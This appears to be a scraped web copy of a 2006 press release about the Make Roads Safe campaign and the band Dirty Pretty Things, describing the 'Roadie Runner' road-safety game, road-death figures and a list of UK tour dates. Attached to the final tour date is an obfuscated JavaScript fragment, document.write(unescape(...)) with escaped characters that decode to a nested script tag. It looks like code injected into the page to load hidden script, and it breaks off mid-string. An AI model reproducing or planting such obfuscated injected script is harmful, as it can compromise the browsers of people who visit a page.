Dirty Pretty Things play to make roads safe

A virtual rock band roadie is the latest recruit in the campaign to tackle global road deaths.

The Make Roads Safe campaign and rock band Dirty Pretty Things are launching a new online viral game to raise awareness about the impact of road deaths around the world and build support for the campaign. 'Roadie Runner' (at www.roadierunner.com ) sees a Dirty Pretty Things roadie trying to retrieve musical instruments by crossing a five lane highway – with often fatal results.

The game is intended to be a fun way to get across a serious message to a high risk audience – young men – that can be difficult to reach through conventional road safety messages. Players are encouraged to join the Make Roads Safe campaign, and key facts about global road deaths are displayed throughout the game.

Road crashes are the number one killer of young people in the UK, Europe and the US.

Worldwide, only HIV/AIDS kills more young men than road crashes.

Make Roads Safe Campaign Coordinator Saul Billingsley said: "We recognise that this kind of treatment of road safety issues might be controversial. But the Make Roads Safe campaign is being innovative in the way political awareness about road safety is communicated, working with Dirty Pretty Things on their UK national tour this winter and using social networking online, including MySpace and YouTube, to connect with people in their teens and twenties. The Roadie Runner game will help us to put across serious road safety facts through a fun medium to a potentially massive youth audience online".

Dirty Pretty Things guitarist Anthony Rossamondo said: "We need to do more to highlight the fact that 1.2 million people are needlessly killed on the roads around the world each year. This is why Dirty Pretty Things are supporting the Make Roads Safe campaign."

Note to Editors:

The Make Roads Safe campaign has been established to call for G8 and UN action to tackle road deaths in low and middle income countries. The campaign, supported by an international coalition of organisations, is calling for a €300 million Action Plan for global road safety; a minimum 10% road safety element in all road programmes funded with development money; and a UN summit to address the global road safety crisis. The campaign is coordinated by the FIA Foundation and in the UK by the RAC Foundation. The campaign is running an online petition at www.makeroadssafe.org;

The campaign also aims to raise awareness amongst young people around the world of the global, developmental problems of road safety. This is intended to help raise awareness about and acceptance of domestic road safety amongst a key high risk age group in terms of road crashes in industrialized countries: young people in their late teens and early 20s.

Dirty Pretty Things are running a competition for tickets for their winter UK tour through the Roadie Runner game (see www.roadierunner.com )

Dirty Pretty Things have announced the following UK tour dates, in association with Make Roads Safe:

25/11/06 – Liverpool Academy 26/11/06 - Birmingham Academy
27/11/06 – Nottingham Rock City 28/11/06 - Leeds University Refectory
29/11/06 – Manchester Academy 01/12/06 – Cambridge Corn Exchange
03/12/06 – London Brixton Academy 04/12/06 – London Brixton Academy
07/12/06 – Newcastle Academy 08/12/2006 – Glasgow Academy
09/12/06 – Sheffield Octagon 11/12/2006 – Bristol Academy
12/12/06 – Lincoln Engine Shed 13/12/06 – Norwich UEA
15/12/06 – Folkestone Lees Cliff Hall 16/12/06 – Oxford Brooksdocument.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22